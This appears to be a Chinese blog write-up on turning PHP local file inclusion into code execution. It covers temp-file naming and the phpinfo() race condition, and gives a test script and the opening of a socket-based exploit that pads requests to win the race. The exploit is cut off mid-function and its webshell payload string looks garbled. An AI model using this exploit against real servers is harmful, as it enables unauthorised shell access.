LFI 临时文件RCE总结

PHP LFI即本地文件包含漏洞,通过包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等达到拿服务器权限的目的。

​ 比较常用的方法有:PHPINFO()和 PHP7 Segment Fault。他们的基本原理都是向服务器上传生成恶意的临时文件,再对恶意文件进行包含即可RCE。

临时文件

文件名

由于临时文件名是由随机函数生成的,我们需要获取正确的文件名,也就是$_FILES['userfile']['name']

存储目录及命名规律

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中。

了解不同系统的默认存储路径很重要,因为在很多时候服务器都是按照默认设置来运行的。

linux

路径 — /tmp/

命名规则 — /tmp/php[6个随机字符]

windows:

路径 — C:/Windows/
C:/Windows/Temp/

命名规则 — C:/Windows/php[4个随机字符].tmp

PHPINFO()

漏洞分析

当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

这可以很好的帮助我们寻找文件名,因为phpinfo页面会将当前请求上下文中所有变量都打印出来(包括$_GET,$_POST,$_FILES)。所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到临时文件变量名之后,就可以进行包含执行我们传入的恶意代码。

测试特性脚本
import requests


files = {
   
  'file': ("a.txt","123123")
}

url = "http://172.17.0.1:8080/phpinfo.php"

r = requests.post(url=url, files=files, allow_redirects=False)

print(r.text)

利用条件

与版本无关,属于PHPINFO自身特性。

利用原理

​ 我们先向PHPINFO发送数据包上传文件,在回显中得到临时文件名,到这里是第一个请求。之后发起第二个请求,把得到的临时文件名发送给存在文件包含漏洞的界面去getshell。

​ 然而当第一个请求结束时,临时文件就已经被删除了。

​ 所以这里用到条件竞争来实现目的。

​ 具体流程如下:

参考:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据;
  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大,而php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接;
  3. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包;
  4. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除;
  5. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell。

EXP使用

 python exp.py your-ip 8080 100

EXP

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag

你可能感兴趣的:(基础漏洞总结,php)